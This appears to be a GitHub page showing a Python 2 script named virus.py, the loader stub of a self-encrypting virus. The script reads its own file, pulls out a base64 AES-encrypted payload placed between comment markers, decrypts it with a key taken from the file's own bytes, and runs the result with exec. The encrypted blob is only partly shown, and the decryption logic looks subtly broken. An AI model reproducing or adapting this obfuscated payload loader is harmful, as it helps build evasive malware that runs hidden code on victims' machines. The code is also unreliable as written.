-
Notifications
You must be signed in to change notification settings - Fork 19
/
virus.py
46 lines (38 loc) · 3.64 KB
/
virus.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
######################################################## First script python
# coding=utf-8
# Start Unencrypted
import os
import __main__
import base64
import sys
import StringIO
from Crypto import Random
from Crypto.Cipher import AES
# Decryption function
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
this = open(__main__.__file__, 'r')
copy = False
cipher_payload = ''
for line in this:
if line.strip() == '# Start payload':
copy = True
elif line.strip() == '# End payload':
copy = False
elif copy:
cipher_payload = cipher_payload + line
e = decrypt(cipher_payload[1:])
#e = encrypt(cipher_payload)
#print e
exec e
sys.exit('Good job!')
# End Unencrypted
# Start payload
#AdUhvDdoEw1T87gVosL2/bHfmuEYTC36vs8/ii130oPJr7PGrpKKlCgeiM4SJQwdgh72CYnB2sd/t/v3+IaoahfdLL0Q4/Keg+I3VQkHP3RvsGnsZDiP7cwH27njf5ZqmaysWHvKgmFO2Aj/Z2yBt0+SYahsfrZOZl/Bu/+mvBJTDqe+R152KX/FSg9vPUzfYvJsDUWI+YjYVqv85hGWpBibS6Nw8yTMhSIwvwH939X2+ud8OXdg6qynuI6lpm3OgZt253LYWOhw/A+Uk2Szwz4ZA79xLmFRZqHG44dWUgOiZo7FiaZ2mkN7r1/H5vWydJuwMo5896OC5Y9+oxvqG/SEMRJv325tcq9q3ulfaMT21Zxt4Lcpxtifvndtq+3ms7AfElCRK7z4kwZ/2HQUVyb7HFUx+ssY68MufaunZG5NmUSPG2/5VtSqG55NwAKAwAYa9WUFzYdky1VzvqaEtAtlU8uEFQg0qLQdhLqTgpSC0isTEfTD9l6QZUSihyuPHwsRf1lP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